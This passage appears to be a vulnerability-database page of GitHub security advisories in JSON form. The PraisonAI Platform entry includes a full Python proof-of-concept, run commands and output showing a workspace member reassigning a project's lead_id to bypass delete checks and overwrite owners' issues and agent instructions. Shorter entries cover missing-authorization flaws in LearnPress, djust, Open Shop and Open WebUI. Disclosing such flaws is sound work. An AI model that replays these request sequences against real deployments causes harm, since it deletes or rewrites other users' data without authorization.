        print(f"vulnerable: {result['vulnerable']}")
    return 0 if result["vulnerable"] else 1


if __name__ == "__main__":
    raise SystemExit(main())

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.8"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61442"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T22:01:11Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass\n\n## Summary\n\n`praisonai-platform` lets an ordinary workspace member patch owner-created project, issue, and agent records even though the paired delete routes enforce owner/admin authorization. For projects, the member can first patch `lead_id` to their own user id and then delete the owner-created project, bypassing a delete guard that correctly returned `403` before the reassignment.\n\n## Technical Details\n\nThe affected boundary is the difference between \"is a workspace member\" and \"owns or administers this resource\". `src/praisonai-platform/praisonai_platform/api/deps.py` defines `require_workspace_member`, `require_workspace_admin`, `require_workspace_owner`, and `require_delete_permission`. `require_workspace_member` only checks that the caller has at least the `member` role in the workspace, while `require_delete_permission` allows delete only for workspace admins/owners or the resource owner.\n\nThe project update route in `src/praisonai-platform/praisonai_platform/api/routes/projects.py` defines `PATCH /workspaces/{workspace_id}/projects/{project_id}` with `user: AuthIdentity = Depends(require_workspace_member)`. It passes `title`, `description`, `status`, `lead_type`, and `lead_id` into `ProjectService.update`. `src/praisonai-platform/praisonai_platform/services/project_service.py` then writes `project.lead_id = lead_id` when supplied. The paired project delete route first loads the project and calls `require_delete_permission(workspace_id, user, session, resource_owner_id=project.lead_id)`. This means an ordinary member can mutate the ownership field that the delete route later trusts.\n\nThe same update/delete asymmetry exists for issues and agents. `src/praisonai-platform/praisonai_platform/api/routes/issues.py` defines `PATCH /workspaces/{workspace_id}/issues/{issue_id}` with only `require_workspace_member`, validates referenced ids are in the workspace, then calls `IssueService.update` to write fields including `title`, `description`, `status`, `priority`, `assignee_id`, and `project_id`. The paired delete route checks `resource_owner_id=issue.creator_id`. `src/praisonai-platform/praisonai_platform/api/routes/agents.py` defines `PATCH /workspaces/{workspace_id}/agents/{agent_id}` with only `require_workspace_member` and calls `AgentService.update` to write fields including `instructions`, `runtime_mode`, and `runtime_config`; the paired delete route checks `resource_owner_id=agent.owner_id`.\n\nThe intended owner/admin boundary is visible from the delete routes and from the local negative controls: a workspace member cannot directly delete an owner-created project, issue, or agent, and a non-member cannot patch an issue. The vulnerability is that the PATCH routes do not apply an equivalent owner/admin or resource-specific update guard.\n\n## PoV\n\nthe PoV starts an in-memory FastAPI app backed by SQLite, creates an owner, a member, and an outsider, adds the member to the owner\u0027s workspace, then exercises the project, issue, and agent routes without touching any live service.\n\nEssential excerpt:\n\n```python\ndirect_delete_project = await client.delete(\n    f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n    headers=member_headers,\n)\n\npatch_project = await client.patch(\n    f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n    json={\n        \"title\": \"Member-controlled project\",\n        \"status\": \"active\",\n        \"lead_type\": \"member\",\n        \"lead_id\": member_id,\n    },\n    headers=member_headers,\n)\n\ndelete_project_after_takeover = await client.delete(\n    f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n    headers=member_headers,\n)\n\npatch_issue = await client.patch(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n    json={\"title\": \"Member rewrote owner issue\", \"status\": \"done\"},\n    headers=member_headers,\n)\n\npatch_agent = await client.patch(\n    f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n    json={\"instructions\": \"member-controlled instructions\", \"status\": \"idle\"},\n    headers=member_headers,\n)\n\noutsider_patch_issue = await client.patch(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n    json={\"title\": \"outsider attempt\"},\n    headers=outsider_headers,\n)\n```\n\nThe full PoV script is included in the appendix below as `pov_platform_member_update_bypass.py`.\n\n## PoC\n\nCurrent head tested:\n\n```text\n846568c7a5d8ce9e71e56e4c213f027c04909753\n2026-06-17T20:13:04+01:00\nchore: clean up redundant \u0027persist-credentials\u0027 entries in GitHub workflows\n```\n\nRun against a local checkout of current head:\n\n```sh\nuv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with \u0027pydantic[email]\u003e=2.10.0\u0027 --with PyJWT --with \u0027passlib[bcrypt]\u003e=1.7.4\u0027 --with \u0027bcrypt==4.0.1\u0027 python pov_platform_member_update_bypass.py --repo /path/to/PraisonAI --json\n```\n\nDecisive current-head output:\n\n```json\n{\n  \"source\": \"git:846568c7a5d8ce9e71e56e4c213f027c04909753\",\n  \"workspace_role\": \"member\",\n  \"checks\": {\n    \"member_direct_project_delete_before_patch\": 403,\n    \"member_project_patch_lead_to_self\": 200,\n    \"member_project_delete_after_lead_takeover\": 204,\n    \"owner_get_project_after_member_delete\": 404,\n    \"member_issue_patch\": 200,\n    \"owner_observes_member_issue_title\": \"Member rewrote owner issue\",\n    \"member_issue_delete_after_patch\": 403,\n    \"member_agent_patch\": 200,\n    \"owner_observes_member_agent_instructions\": \"member-controlled instructions\",\n    \"member_agent_delete_after_patch\": 403,\n    \"non_member_issue_patch\": 403\n  },\n  \"vulnerable\": true\n}\n```\n\nRun against the latest PyPI package observed during testing:\n\n```sh\nuv run --with \u0027praisonai-platform==0.1.8\u0027 --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with \u0027pydantic[email]\u003e=2.10.0\u0027 --with PyJWT --with \u0027passlib[bcrypt]\u003e=1.7.4\u0027 --with \u0027bcrypt==4.0.1\u0027 python pov_platform_member_update_bypass.py --json\n```\n\nDecisive latest-PyPI output:\n\n```json\n{\n  \"source\": \"pypi:praisonai-platform==0.1.8\",\n  \"workspace_role\": \"member\",\n  \"checks\": {\n    \"member_direct_project_delete_before_patch\": 403,\n    \"member_project_patch_lead_to_self\": 200,\n    \"member_project_delete_after_lead_takeover\": 204,\n    \"owner_get_project_after_member_delete\": 404,\n    \"member_issue_patch\": 200,\n    \"owner_observes_member_issue_title\": \"Member rewrote owner issue\",\n    \"member_issue_delete_after_patch\": 403,\n    \"member_agent_patch\": 200,\n    \"owner_observes_member_agent_instructions\": \"member-controlled instructions\",\n    \"member_agent_delete_after_patch\": 403,\n    \"non_member_issue_patch\": 403\n  },\n  \"vulnerable\": true\n}\n```\n\nVersion sweep excerpt:\n\n```text\npraisonai-platform 0.1.4: member PATCH project/issue/agent returned 200, but direct member DELETE also returned 204, so the current delete-guard bypass is masked by broader older delete authorization behavior.\npraisonai-platform 0.1.6: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.\npraisonai-platform 0.1.8: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.\n```\n\n## Impact\n\nAn ordinary workspace member can modify owner-created Platform records that should remain owner/admin controlled. For projects, the member can turn a denied direct delete into an allowed delete by reassigning `lead_id` through PATCH, causing owner project data loss. For issues, the member can rewrite owner-created titles/statuses while delete remains blocked. For agents, the member can replace owner-created instructions and runtime-related configuration fields while delete remains blocked. In a shared workspace, this is a concrete integrity violation and can disrupt work tracking or agent behavior.\n\nSuggested severity: High. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L` (7.1). Suggested CWEs: `CWE-862` Missing Authorization and `CWE-863` Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality impact.\n\n## Suggested Fix\n\nApply resource-specific update authorization before mutating project, issue, or agent records. A straightforward approach is to mirror the delete route\u0027s owner/admin check for PATCH routes, or introduce a `require_update_permission` helper that allows workspace admins/owners and the relevant resource owner only.\n\nFor projects, do not let an ordinary member set `lead_id` on an existing owner-created project. Treat lead reassignment as an admin/owner operation, and validate that the new lead belongs to the workspace and is eligible for that role.\n\nAdd regression tests for these cases: a plain member cannot patch an owner-created project, issue, or agent; a member cannot reassign project `lead_id` to gain delete permission; owner/admin callers can still patch according to intended policy; a non-member still receives `403`.\n\n## Affected Package/Versions\n\nAffected package: `pypi:praisonai-platform`.\n\nLatest PyPI version observed during testing: `0.1.8`. Current head `846568c7a5d8ce9e71e56e4c213f027c04909753` is affected.\n\nThe owner/admin update authorization gap is confirmed in sampled versions `0.1.4`, `0.1.6`, `0.1.8`, and current head. The specific project delete-guard bypass through `lead_id` reassignment is confirmed in `0.1.6`, `0.1.8`, and current head. In `0.1.4`, direct member deletes already returned `204`, so the lead-reassignment chain is masked by a broader older delete issue.\n\nSuggested affected range for the update authorization gap: `pypi:praisonai-platform \u003e=0.1.4, \u003c=0.1.8`. Suggested affected range for the project lead-reassignment delete bypass after delete checks were introduced: `pypi:praisonai-platform \u003e=0.1.6, \u003c=0.1.8`. No fixed version or fix commit was observed.\n\n## Advisory History\n\nVisible PraisonAI Platform advisories include several related authorization fixes, but the checked public advisories do not appear to cover this same same-workspace PATCH authorization gap and project `lead_id` delete-guard bypass.\n\n`GHSA-rh39-9c67-59mh`, \"Missing ownership check on DELETE endpoints allows members to delete others\u0027 content in Platform API\", covers DELETE endpoints. This report is distinct because the PoV shows direct project DELETE is denied with `403`, then PATCH succeeds, then DELETE succeeds only after `lead_id` is reassigned through the update route.\n\n`GHSA-2fjj-qqg8-fg7x`, \"Authorization Bypass Through User-Controlled Key in praisonai-platform\", covers user-controlled `project_id` reference handling and cross-workspace stats pollution. This report does not rely on foreign workspace ids; the attacker is a legitimate member of the same workspace as the owner-created records.\n\n`GHSA-gv23-xrm3-8c62`, `GHSA-6h6v-6m7w-7vxx`, `GHSA-943m-6wx2-rc2j`, `GHSA-xwq8-frcg-77q8`, and `GHSA-7p8g-6c6g-h9w7` cover cross-workspace object access by global id. This report is scoped to same-workspace owner/admin authorization and includes a non-member negative control returning `403`.\n\n## References\n\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2j`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7`\n- `https://cwe.mitre.org/data/definitions/862.html`\n- `https://cwe.mitre.org/data/definitions/863.html`\n\n## Appendix A - Longer Version Sweep\n\n```text\n=== praisonai-platform 0.1.4 ===\n\"member_direct_project_delete_before_patch\": 204\n\"member_project_patch_lead_to_self\": 404\n\"member_issue_patch\": 200\n\"member_agent_patch\": 200\n\"member_issue_delete_after_patch\": 204\n\"member_agent_delete_after_patch\": 204\n\"non_member_issue_patch\": 403\n\n=== praisonai-platform 0.1.6 ===\n\"member_direct_project_delete_before_patch\": 403\n\"member_project_patch_lead_to_self\": 200\n\"member_project_delete_after_lead_takeover\": 204\n\"owner_get_project_after_member_delete\": 404\n\"member_issue_patch\": 200\n\"member_issue_delete_after_patch\": 403\n\"member_agent_patch\": 200\n\"member_agent_delete_after_patch\": 403\n\"non_member_issue_patch\": 403\n\n=== praisonai-platform 0.1.8 ===\n\"member_direct_project_delete_before_patch\": 403\n\"member_project_patch_lead_to_self\": 200\n\"member_project_delete_after_lead_takeover\": 204\n\"owner_get_project_after_member_delete\": 404\n\"member_issue_patch\": 200\n\"member_issue_delete_after_patch\": 403\n\"member_agent_patch\": 200\n\"member_agent_delete_after_patch\": 403\n\"non_member_issue_patch\": 403\n```\n\n## Appendix B - Full PoV Script\n\nSave this as `pov_platform_member_update_bypass.py` before running the PoC commands above.\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI Platform same-workspace member update bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport asyncio\nimport json\nimport os\nimport sys\nfrom pathlib import Path\nfrom typing import Any\n\n\ndef _load_local_source(repo: Path | None) -\u003e None:\n    if repo is None:\n        return\n    platform_root = repo / \"src\" / \"praisonai-platform\"\n    agents_root = repo / \"src\" / \"praisonai-agents\"\n    for path in (str(platform_root), str(agents_root)):\n        if path not in sys.path:\n            sys.path.insert(0, path)\n\n\nasync def _register(client: Any, email: str, name: str) -\u003e tuple[str, str]:\n    response = await client.post(\n        \"/api/v1/auth/register\",\n        json={\"email\": email, \"password\": \"Password1!\", \"name\": name},\n    )\n    if response.status_code \u003e= 400:\n        raise RuntimeError(f\"register failed for {email}: {response.status_code} {response.text}\")\n    body = response.json()\n    return body[\"token\"], body[\"user\"][\"id\"]\n\n\nasync def _run(repo: Path | None) -\u003e dict[str, Any]:\n    os.environ[\"PLATFORM_JWT_SECRET\"] = \"local-poc-secret-32-bytes-minimum\"\n    _load_local_source(repo)\n\n    from httpx import ASGITransport, AsyncClient\n    from sqlalchemy.ext.asyncio import create_async_engine\n\n    from praisonai_platform.api.app import create_app\n    from praisonai_platform.db import base as base_mod\n    from praisonai_platform.db.base import Base, reset_engine\n\n    await reset_engine()\n    engine = create_async_engine(\n        \"sqlite+aiosqlite:///:memory:\",\n        echo=False,\n        connect_args={\"check_same_thread\": False},\n    )\n    base_mod._engine = engine\n    base_mod._session_factory = None\n    async with engine.begin() as conn:\n        await conn.run_sync(Base.metadata.create_all)\n\n    app = create_app()\n    transport = ASGITransport(app=app)\n    async with AsyncClient(transport=transport, base_url=\"http://local-poc\") as client:\n        owner_token, owner_id = await _register(client, \"owner@example.com\", \"Owner\")\n        member_token, member_id = await _register(client, \"member@example.com\", \"Member\")\n        outsider_token, _ = await _register(client, \"outsider@example.com\", \"Outsider\")\n\n        owner_headers = {\"Authorization\": f\"Bearer {owner_token}\"}\n        member_headers = {\"Authorization\": f\"Bearer {member_token}\"}\n        outsider_headers = {\"Authorization\": f\"Bearer {outsider_token}\"}\n\n        ws_resp = await client.post(\n            \"/api/v1/workspaces/\",\n            json={\"name\": \"Shared Workspace\", \"slug\": \"shared-workspace\"},\n            headers=owner_headers,\n        )\n        ws_resp.raise_for_status()\n        workspace_id = ws_resp.json()[\"id\"]\n\n        add_member = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            json={\"user_id\": member_id, \"role\": \"member\"},\n            headers=owner_headers,\n        )\n        add_member.raise_for_status()\n\n        project_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/projects/\",\n            json={\n                \"title\": \"Owner project\",\n                \"description\": \"Owned by the workspace owner\",\n                \"lead_type\": \"member\",\n                \"lead_id\": owner_id,\n            },\n            headers=owner_headers,\n        )\n        project_resp.raise_for_status()\n        project_id = project_resp.json()[\"id\"]\n\n        direct_delete_project = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n            headers=member_headers,\n        )\n\n        patch_project = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n            json={\n                \"title\": \"Member-controlled project\",\n                \"status\": \"active\",\n                \"lead_type\": \"member\",\n                \"lead_id\": member_id,\n            },\n            headers=member_headers,\n        )\n\n        delete_project_after_takeover = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n            headers=member_headers,\n        )\n        owner_get_deleted_project = await client.get(\n            f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n            headers=owner_headers,\n        )\n\n        issue_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/issues/\",\n            json={\"title\": \"Owner issue\", \"priority\": \"high\"},\n            headers=owner_headers,\n        )\n        issue_resp.raise_for_status()\n        issue_id = issue_resp.json()[\"id\"]\n\n        patch_issue = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n            json={\"title\": \"Member rewrote owner issue\", \"status\": \"done\"},\n            headers=member_headers,\n        )\n        owner_get_issue = await client.get(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n            headers=owner_headers,\n        )\n        delete_issue = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n            headers=member_headers,\n        )\n\n        agent_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/agents/\",\n            json={\"name\": \"OwnerAgent\", \"instructions\": \"owner-only instructions\"},\n            headers=owner_headers,\n        )\n        agent_resp.raise_for_status()\n        agent_id = agent_resp.json()[\"id\"]\n\n        patch_agent = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n            json={\"instructions\": \"member-controlled instructions\", \"status\": \"idle\"},\n            headers=member_headers,\n        )\n        owner_get_agent = await client.get(\n            f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n            headers=owner_headers,\n        )\n        delete_agent = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n            headers=member_headers,\n        )\n\n        outsider_patch_issue = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n            json={\"title\": \"outsider attempt\"},\n            headers=outsider_headers,\n        )\n\n    await engine.dispose()\n    base_mod._engine = None\n    base_mod._session_factory = None\n\n    owner_issue_body = owner_get_issue.json() if owner_get_issue.status_code == 200 else {}\n    owner_agent_body = owner_get_agent.json() if owner_get_agent.status_code == 200 else {}\n    patch_project_body = patch_project.json() if patch_project.status_code == 200 else {}\n\n    checks = {\n        \"member_direct_project_delete_before_patch\": direct_delete_project.status_code,\n        \"member_project_patch_lead_to_self\": patch_project.status_code,\n        \"member_project_delete_after_lead_takeover\": delete_project_after_takeover.status_code,\n        \"owner_get_project_after_member_delete\": owner_get_deleted_project.status_code,\n        \"member_issue_patch\": patch_issue.status_code,\n        \"owner_observes_member_issue_title\": owner_issue_body.get(\"title\"),\n        \"member_issue_delete_after_patch\": delete_issue.status_code,\n        \"member_agent_patch\": patch_agent.status_code,\n        \"owner_observes_member_agent_instructions\": owner_agent_body.get(\"instructions\"),\n        \"member_agent_delete_after_patch\": delete_agent.status_code,\n        \"non_member_issue_patch\": outsider_patch_issue.status_code,\n    }\n    vulnerable = (\n        checks[\"member_direct_project_delete_before_patch\"] == 403\n        and checks[\"member_project_patch_lead_to_self\"] == 200\n        and patch_project_body.get(\"lead_id\") == member_id\n        and checks[\"member_project_delete_after_lead_takeover\"] == 204\n        and checks[\"owner_get_project_after_member_delete\"] == 404\n        and checks[\"member_issue_patch\"] == 200\n        and checks[\"owner_observes_member_issue_title\"] == \"Member rewrote owner issue\"\n        and checks[\"member_issue_delete_after_patch\"] == 403\n        and checks[\"member_agent_patch\"] == 200\n        and checks[\"owner_observes_member_agent_instructions\"] == \"member-controlled instructions\"\n        and checks[\"member_agent_delete_after_patch\"] == 403\n        and checks[\"non_member_issue_patch\"] == 403\n    )\n    return {\n        \"package\": \"praisonai-platform\",\n        \"source\": _source_id(repo),\n        \"workspace_role\": \"member\",\n        \"summary\": \"A workspace member can patch owner-created project, issue, and agent records. Project lead reassignment then bypasses the delete ownership guard.\",\n        \"checks\": checks,\n        \"vulnerable\": vulnerable,\n    }\n\n\ndef _source_id(repo: Path | None) -\u003e str:\n    if repo is None:\n        import importlib.metadata\n\n        return f\"pypi:praisonai-platform=={importlib.metadata.version(\u0027praisonai-platform\u0027)}\"\n    import subprocess\n\n    rev = subprocess.check_output(\n        [\"git\", \"-C\", str(repo), \"rev-parse\", \"HEAD\"],\n        text=True,\n    ).strip()\n    return f\"git:{rev}\"\n\n\ndef main() -\u003e int:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--repo\", type=Path)\n    parser.add_argument(\"--json\", action=\"store_true\")\n    args = parser.parse_args()\n\n    result = asyncio.run(_run(args.repo.resolve() if args.repo else None))\n    if args.json:\n        print(json.dumps(result, indent=2, sort_keys=True))\n    else:\n        for key, value in result[\"checks\"].items():\n            print(f\"{key}: {value}\")\n        print(f\"vulnerable: {result[\u0027vulnerable\u0027]}\")\n    return 0 if result[\"vulnerable\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n\n```",
  "id": "GHSA-c78w-2q4r-68r7",
  "modified": "2026-10-08T22:01:11Z",
  "published": "2026-10-08T22:01:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-c78w-2q4r-68r7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61442"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-platform-before-authorization-bypass-via-patch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass"
}

GHSA-C79C-P5W8-9WMC

Vulnerability from github – Published: 2026-01-06 09:30 – Updated: 2026-01-06 09:30
VLAI
Details

The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the catch_lp_ajax function in all versions up to, and including, 4.3.2. This makes it possible for unauthenticated attackers to modify course contents by adding/removing/updating/re-ordering sections or modifying section items.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-13964"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-06T09:15:54Z",
    "severity": "MODERATE"
  },
  "details": "The LearnPress \u2013 WordPress LMS Plugin plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the catch_lp_ajax function in all versions up to, and including, 4.3.2. This makes it possible for unauthenticated attackers to modify course contents by adding/removing/updating/re-ordering sections or modifying section items.",
  "id": "GHSA-c79c-p5w8-9wmc",
  "modified": "2026-01-06T09:30:29Z",
  "published": "2026-01-06T09:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13964"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/learnpress/tags/4.3.1/inc/Ajax/AbstractAjax.php#L18"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/learnpress/tags/4.3.1/inc/Ajax/EditCurriculumAjax.php#L52"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ae363511-8a1f-476a-9851-61f7763428c2?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C7C5-5J6R-Q957

Vulnerability from github – Published: 2026-09-16 22:06 – Updated: 2026-09-16 22:06
VLAI
Summary
djust has broken object-level access control (IDOR)
Details

Impact

djust's per-object authorization (get_object + has_object_permission, ADR-017) was enforced on the WebSocket mount and event paths but not on three other render entry points: (a) the initial HTTP GET render, (b) SPA url_change navigation, and (c) {% live_render %} embedded child views. An authenticated user could therefore view (and on some paths act on) an object they are not authorized for by loading the page directly, navigating to it via SPA url-change, or composing it as an embedded child — a classic IDOR / broken object-level access control on object-scoped views.

Patches

Fixed in djust 1.0.7. All render entry points now route through a shared enforce_object_permission chokepoint: HTTP GET returns 403, url_change emits a permission_denied frame and skips the render, and {% live_render %} (eager + lazy) refuses the embed. Views without a custom get_object are unaffected (no-op).

Workarounds

No reliable workaround short of upgrading. Do not expose object-scoped views through the HTTP-GET / url_change / live_render paths until patched.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "djust"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61596"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-16T22:06:02Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\ndjust\u0027s per-object authorization (`get_object` + `has_object_permission`, ADR-017) was enforced on the WebSocket **mount** and **event** paths but **not** on three other render entry points: (a) the initial **HTTP GET** render, (b) **SPA `url_change`** navigation, and (c) `{% live_render %}` **embedded child** views. An authenticated user could therefore view (and on some paths act on) an object they are not authorized for by loading the page directly, navigating to it via SPA url-change, or composing it as an embedded child \u2014 a classic IDOR / broken object-level access control on object-scoped views.\n\n### Patches\nFixed in **djust 1.0.7**. All render entry points now route through a shared `enforce_object_permission` chokepoint: HTTP GET returns **403**, `url_change` emits a `permission_denied` frame and skips the render, and `{% live_render %}` (eager + lazy) refuses the embed. Views without a custom `get_object` are unaffected (no-op).\n\n### Workarounds\nNo reliable workaround short of upgrading. Do not expose object-scoped views through the HTTP-GET / url_change / live_render paths until patched.",
  "id": "GHSA-c7c5-5j6r-q957",
  "modified": "2026-09-16T22:06:02Z",
  "published": "2026-09-16T22:06:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/djust-org/djust/security/advisories/GHSA-c7c5-5j6r-q957"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/djust-org/djust"
    },
    {
      "type": "WEB",
      "url": "https://github.com/djust-org/djust/releases/tag/v1.0.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "djust has broken object-level access control (IDOR)"
}

GHSA-C7CH-HRFV-GQ8P

Vulnerability from github – Published: 2026-07-13 12:35 – Updated: 2026-07-13 12:35
VLAI
Details

Missing Authorization vulnerability in themehunk Open Shop open-shop allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Open Shop: from n/a through <= 1.7.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-57405"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-13T10:16:34Z",
    "severity": "HIGH"
  },
  "details": "Missing Authorization vulnerability in themehunk Open Shop open-shop allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Open Shop: from n/a through \u003c= 1.7.1.",
  "id": "GHSA-c7ch-hrfv-gq8p",
  "modified": "2026-07-13T12:35:03Z",
  "published": "2026-07-13T12:35:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57405"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Theme/open-shop/vulnerability/wordpress-open-shop-theme-1-7-1-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C7FQ-P62P-WVPC

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-21 17:26
VLAI
Summary
Open WebUI Has Improper Access Control Leading to Arbitrary Prompt Read
Details

In version v0.3.8 of open-webui/open-webui, improper access control vulnerabilities allow an attacker to view any prompts. The application does not verify whether the attacker is an administrator, allowing the attacker to directly call the /api/v1/prompts/ interface to retrieve all prompt information created by the admin, which includes the ID values. Subsequently, the attacker can exploit the /api/v1/prompts/command/{command_id} interface to obtain arbitrary prompt information.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-7045"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1100",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-21T17:26:53Z",
    "nvd_published_at": "2025-03-20T10:15:35Z",
    "severity": "MODERATE"
  },
  "details": "In version v0.3.8 of open-webui/open-webui, improper access control vulnerabilities allow an attacker to view any prompts. The application does not verify whether the attacker is an administrator, allowing the attacker to directly call the /api/v1/prompts/ interface to retrieve all prompt information created by the admin, which includes the ID values. Subsequently, the attacker can exploit the /api/v1/prompts/command/{command_id} interface to obtain arbitrary prompt information.",
  "id": "GHSA-c7fq-p62p-wvpc",
  "modified": "2025-03-21T17:26:53Z",
  "published": "2025-03-20T12:32:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7045"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/03ea0826-af7b-4717-b63e-90fd19675ab2"
    }
